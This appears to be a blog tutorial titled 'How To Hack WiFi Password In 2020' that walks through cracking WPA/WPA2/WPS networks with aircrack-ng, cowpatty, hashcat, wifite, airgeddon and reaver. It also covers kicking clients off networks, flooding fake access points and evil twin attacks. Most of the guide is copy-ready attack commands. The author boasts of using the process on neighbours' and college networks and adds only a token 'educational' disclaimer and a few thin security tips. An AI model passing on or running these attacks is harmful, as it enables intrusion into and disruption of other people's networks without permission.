How To Hack WiFi Password In 2020 ( Ultimate Guide)

 

Hey guys, Today in this tutorial am going to teach you how to hack WiFi Password.

The Exact Process I personally use to Hack my neighbours WiFi, college's WiFi and  many other password protected WiFi.

Hacking WiFi is more fun so that we can easily connect any password protected WiFi networks, but WiFi Hacking doesn't mean only knowing the WiFi password is hacking, it also covers Recovering WiFi Passwords, Kicking out someone from connecting to a network, Performing DDOS attack on a WiFi network and so on.

One more thing is when it comes to hacking there is no particular way to hack, it has many ways,

security changing day by day and we have to keep up to date with new vulnerability.


In this WiFi hacking tutorial am going to teach you how to hack wifi password on pc and how to perform some penetrating attacks against any WiFi network


Before we get started, there are some requirements so that we are going to hack WiFi with Kali Linux.
If you're a android user then make sure you read this WiFi Hacking Tutorial for Android.

What You Will Learn.

• How To Hack WiFi including (WPA/WPA2/WEP)
• Cracking of WiFi Passwords from vulnerable routers
• Creating Fake Access Point
• Jamming Wifi by Performing DDOS attack on any WiFi network
• Evil Twin Attack, MAC spoofing
• Finally How To Secure Your Wifi

Requirements:

• Kali Linux Must Be Installed
• A Good WiFi Adapter
• And some tools that we will present in this post.

1. How To Hack Wifi Password In 2020
2. Setting Up Aircrack-Ng Program For Hacking WiFi
   1. Crack WPA,WPA2 PSK Passwords Using Aircrack-Ng Tool
3. How Wi-Fi Password Cracked By Using Cowpatty Tool
   1. Overview Of Cowpatty Tool
4. Wifi Password Cracking By Using Hashcat Tool
   1. Required Tools For Hashcat Attack
5. How To Crack Wifi Password By Fern WIFI Cracker Tool
   1. Features Of Fern WiFi Cracker Tool
6. How To Crack WIFI Password Using Gerix WiFi Cracker
7. How Wifite Tool Used To Crack Wi-Fi Password
8. Crack WIFI Password By Using Aircrack And Crunch In Airgeddon Tool
   1. Features Of Airgeddon Tool
9. Hack WPA/WPA2 WPS With Reaver
10. Kickout The Connected Wi-Fi Devices Using Netattack2 Tool
11. Creating Random And Custom WiFI Fake AP And WiFi DOS Attack Flooding
12. Evil Twin And Access Point MAC Spoofing Using Airbase-Ng
13. Hostpad-Wpe Wi-Fi Password Cracker Tool
14. Recovering Your Saved Passwords From Your System Using Wifresti
15. How To Secure Your Wifi

In this WiFi Hacking Tutorial we are going to attack using Kali Linux, as Kali Linux comes with so many pre-installed tools If you don't yet installed then make sure you install, if you don't know how to install then follow the official Kali Linux Tutorial to install Kali Linux


Before we get started you must know about what type of WiFi Security out there, there are so many WiFi security protocols such as WPS, WPA, WPA2, WEP, WPA3.


Knowing the security protocols is important at WiFi hacking as we have to detect the type of vulnerability and taking advantage of it.

As TheHackerNews recently published a vulnerability that could allow attackers to hack WiFi, you can check out it

How to hack wifi password in 2020

There are lot of ways out there, so follow the below steps carefully to hacking WiFi password
Let's Start The first type of attack using Aircrack-ng program,

Setting Up Aircrack-ng program for Hacking WiFi

So what is Aircrack-ng?
as per Wikipedia

Aircrack-ng is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless LANs. It works with any wireless network interface controller whose driver supports raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic. - Wikipedia

Aircrack-ng is a powerful program written in C, which can analyze and crack WiFi passwords for WEP, WPA, WPA2.

Let's see how we can take advantage of it.

Crack WPA,WPA2 PSK Passwords Using Aircrack-Ng Tool

Firstly Aircrack-ng program must be installed in your Kali Machine, its preinstalled for all if not then check Aircrack-ng official Installations Document

Lets Open Terminal And Type This Command

airmon-ng check kill

         
It will kill some connections don't worry,
Now type below command and make sure everything is OK

airmon-ng

Then Enable Monitor Mode By Typing this

airmon-ng start wlan0

Then type

airodump-ng wlan0mon

After You will see some networks, just stop airdump-ng by typing Ctrl+C
Now you have to type this command and note down Bssid & channel of the network which you wanna hack

airodump-ng -c {channel} --bssid {bssid} -w /root/Desktop/ wlan0mon

After hitting enter, you will see like this

Now open a new terminal window, and type this command

aireplay-ng -02 -a {router bssid} -c {client bssid} wlan0mon

Now in the other terminal window you will see handshake id

Now type this command in that terminal window

aircrack-ng -a2 -b {bssid} -w {path to word list} /root/Desktop/*.cap

Protip
The wordlist is usually located at Computer/use/share/wordlists
Make sure the wordlist is properly located at the right path

after typing the command, it will take some time, after thafyou will get the password

So you have learnt how to hack into wifi.
Now let's see

How Wi-Fi Password Cracked by Using Cowpatty Tool

Before we start hacking wifi password with Cowpatty Tool, let's see an overview of it. And know how this tool helps an attacker

Overview Of Cowpatty Tool

Cowpatty tool allows attackers to take advantage of WPA, WPA2 Network to do a dictionary based attack against the wireless network by breaking the Pre shared Key algorithm

In this senerio the attacker can intercept the traffic packets between two hosts.
Firstly open terminal and type

Cowpatty -h

You will see a detailed overview of the tool,

Without wasting your time, let's see how to use it

Firstly kill the background process as typing below command in the terminal

airmon-ng check kill

Now enable monitor mode by typing

airmon-ng start wlan0

Now let's see the nearest Access Point by typing below command

airodump-ng wlan0mon

Now you will see some WiFi networks, to stop scanning simply type CTRL+C
Now we have to capture the handshake hash file.
For that type below command

airodump-ng --bssid {bssid} -c {client bssid} -w Cowpatty wlan0

When someone connects to the Access Point then we will capture the hash
So open a new terminal window and Type this command

aireplay-ng -0 0 -a {bssid} -c {client bssid} wlan0mon

After capturing the handshake key.
Type ls command to see the handshake key is there, after that type

cowpatty -f /usr/share/wordlists/rockyou.txt -r /root/Desktop/cowpatty-02.cap -s "WiFi Network Name here"

That's all you will get the password,
Feeling amazing?
Now let's see

Wifi Password Cracking by Using Hashcat Tool

Before we start attacking with this tool, let me tell you that it takes little bit of time to be successeed and therefore it depends on the password weakness of the Access Point. In this type of attack the vulnerability allows attackers to bruteforce the network password other than waiting a device to be connected

Required Tools for Hashcat Attack

There are some tools required during haskcat attack, they are

• Hashcat tool
• Hcxtools
• HcxDump Tool

Firstly Hashcat Tool must be installed in your Kali Machine, most of the times it comes with default if not make sure you should update and upgrade the Kali Linux packages

Still confused then visit the Official Hashcat installation document and do as follows

Now open terminal and clone hcxtools from github by typing this command

git clone https://github.com/wi-fi-analyzer/hcxtools.git

After that to the directory by typing cd hcxtools

And type make

Then type make install

Now hcxtools is installed. If you stuck anywhere make sure to check the github's Readme guide

Now go back to the main directly by typing cd

Now we have to install hcxdump tools for that open terminal and type.

git clone https://github.com/ZerBea/hcxdumptool.git

Now goto the directory by typing cd hcxdumptool

And type make

Then type make install

Now go back to main directory by typing cd

Now type

airmon-ng check kill

Then start monitor mode

airmon-ng start wlan1

Now we have to type this command

hcxdumptool -i wlan1mon -o hotspotcap.pcapng --enable status=1 -c {channel}

       
                

Now wait until you found some PMK ID

After that stop scanning by typing Ctrl+c

And the PMK ID will be saved to the file we specified.

Now we have to convert the file accessible by Hashcat tool
For that type this command.

hcxpcaptool -E essidlist -I identylist -U usernamelist -z hotspotcap.16800 hotspotcap.pcapng

Now we got the PMK Hash and its time to attack with a good password list, in this attack am going to use the darkc0de word list from github
So type command

hashcat -m 16800 -a 0 --kernel-accel=1 -w 4 --force '/root/Desktop/darkc0de.txt'

Now you have to manually check status by typing s

Am failed in this attack so quitting, it all depends on your patience so try yourself may work for you.
Now let's see

How to crack wifi Password by Fern WIFI cracker Tool

Fern WiFi Cracker is a wireless security auditing and attacking tool written in Python, this tool can crack WPA/WPA2/WEP networks and also can perform MITM attacks

Features of Fern WiFi Cracker Tool

• WEP cracking
• WPA/WPA2 Cracking Dictionary Based Attack, WPS based attack
• Automatic Access Point Attack
• MITM attacks
• Session Hijacking
• Bruteforce Attack

To start attacking with this tool

Goto Tools Menu then goto Wifeless Attacks then choose Fern WiFi Cracker

Its interface its cool, even a 10 years kid can easily attack with this tool.

After opening the tool just select monitor mode wlan0, and start scanning for near by WiFi networks.

And select any network from the available networks, then use a good password list,

It will take some time to crack,
If successeed then you will see the password

Hope you guys known how easy it is to how to hack a wifi password.
Now let's see

How To Crack WIFI Password Using Gerix WiFi Cracker

Gerix is a powerful WiFi password cracking tool written in Python.
Now let's see how simple it is to hack WiFi password with this tool.
Firstly open new terminal and paste below command to download Gerix Tool

https://github.com/J4r3tt/gerix-wifi-cracker-2.git

Now type this command cd gerix-wifi-cracker-2 && ls

Now type python gerix.py

To start the program.

You will sees cool interface like this

In the interface section select wlan0 and click on enable monitor mode

Now click on rescan network to see the available WiFi networks

Now select the Bssid and click on WPA

Then click on General functionality then click on start sniffing

In the interface click on autoload Victim Clients and add any random deauth number

And click on client deauthentication to capture the handshake hash

Now click on cracking and select the password wordlist and start attacking
After successful cracking you will see the password

Now let's see

How Wifite tool used to Crack Wi-Fi Password

In this section you will learn how you can actually hack WiFi using Wifite Tool and automate attacks

Firstly install wifite tool if it's not yet installed by default

Just head over to github to get the tool
In this section am going to attack WPA network with a good wordlist
So type this command

wifite --wpa

After enabling monitor mode by typing 2 then we will select the targeted network and capture handshake hash and attack with a good wordlist

After getting the handshake hash, now its time to crack the hash using a good wordlist like rock you, darkc0de or you can create your own wordlist

To crack the hash type this command

wifite --crack --dict {path of wordlist}

Now select the handshake hash
And select the program to crack am choosing Aircrack, you can choose any or all from the list

If the hash cracked successfuly then you will see the password and will be saved to cracked.txt file

Now let's try another tool

Crack WIFI Password by Using Aircrack and Crunch in Airgeddon Tool

Airgeddon is a multi use bash script for linux for auditing wireless Networks

Now Let's See How we can Hack Wifi using this tool

Features Of Airgeddon Tool

• Interface Mode Switcher
• DOS over Wireless Networks using different Method
• Assisted Handshake file capture

Now Lets Start hacking wifi password using Aircrack and Crunch in Airgeddon Tool

Firstly Download Airgeddon tool by cloning the reprository from Github

So Open Terminal and Type

git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git

Now open the Airgeddon directory by typing cd airegeddon && ls

then type chmod +x airgeddon.sh

Now type in the terminal

./airgeddon.sh

and it will start installing required programs, if anything fails then make sure you install it manually

Now Select Interface Mode As Waln0

and Capture Handshake file by typing 5

and it will start searching for Nearby Wifi Networks

just type CTRL+C To Stop Scanning and select any one from it.

Now you have to capture the handshake file to attack

So type 2 and capture the handshake hash.

Now hit enter to Continue and select 6 For Offline Crack

Now select the Option Crack with Crunch Tool by typing 2

then select password length 8, and select the saved BSSID

and select the characher length etc.

Now Boom it will start Cracking the password

Now Its boaring time.

Hack WPA/WPA2 WPS With Reaver

In this section we are going to hack the wifi Password using Reaver Tool

So let's start

Firstly Install Reaver Tool

https://github.com/t6x/reaver-wps-fork-t6x

like many other wifi hacking, we will enable monitor mode

so type

airmon-ng start wlan0

then type

airdump-ng wlan0mon


after getting some networks then stop the program

now type

reaver -i wlan0mon -b {bssid} -vv

now it will take lot of time to get the password, if you have enough patience then you can wait

Now lets see how we can do some MITM attacks by hacking wifi

Kickout the Connected Wi-Fi devices Using Netattack2 Tool

Netattack is a python script that scans local and wireless networks and by using this tool
we are going to kickout the connected hosts on the same network


so firstly install Netattack tool

so open Terminal and type

git clone https://github.com/chrizator/netattack2.git

Inorder to work this tool, you have to upgrade your packages if not upgraded

now goto the netattack directory by typing cd netattack2 && ls


now type chmod +x netattack2.py

Now Run the program by typing

python netattack2.py

note make sure you're connected to a network, Just any select the option from there, its very simple

so lets see how we can perform dos typs fake access point attack

Creating Random and Custom WiFI Fake AP and WiFi DOS Attack Flooding

Now in this section we are going to trick others by creating a lot of fake SSID wifi names, so that others will be confused to choose the right network


so firstly enable monitor mode

by typing

airmon-ng start wlan0


if your adapter chipset is ready then

make a list of wifi names in a txt file and save it in your desktop

now start the attack by typing

mdk3 wlan0mon -b -c 1 -f {list of wifi names txt file}

thats all, the fake wifi Ssid will be created with the wifi names you have created

Evil twin and access point MAC spoofing using airbase-ng

Here is a detailed tutorial on evil twin attack

Hostpad-wpe Wi-Fi Password Cracker Tool

Learn More about it https://github.com/OpenSecurityResearch/hostapd-wpe/

Recovering Your Saved Passwords from your System using Wifresti

Wifresti tool is used to recover the saved wifi passwords in your system,
This tool is written in Python supports For Windows, Linux and MacOs

Now Lets See How we can see the wifi passwords strored in our system.

Firstly Install Wifresti tool

Open Terminal and type

sudo su

then type

git clone https://github.com/LionSec/wifresti.git && cp * wifresti/wifresti.py /usr/bin/wifresti && chmod +x usr/bin/wiftesti

then run Wifresti by typing

sudo wifresti

Now Select your OS

Then select the Wifi Name to see its password, thats too easy

How To Secure Your Wifi

There is no magic in securing your wifi, even though will try to secure the security comes with latest vulnerabilities

However these tips may help you

• Use A Strong Password for your SSID
• Make Use Of Firewalls, Mac Filters
• Make Use Of WPA2
• Use VPN on your Connected Devices
• Use Good Wifi Name and avoid using default names eg: D-Link, Tp-Link
• Keep Access Logs

Conclusion:
Hope You Learnt How to Hack WiFi password, This Tutorial meant only for educational & Pentesting purpose, I have shared the most poplar ways of hacking WiFi but there are lot of new vulnerability out so keep updated with the internet, Hacking is a life time journey of Learning.

Let me know how you feel after your first hack.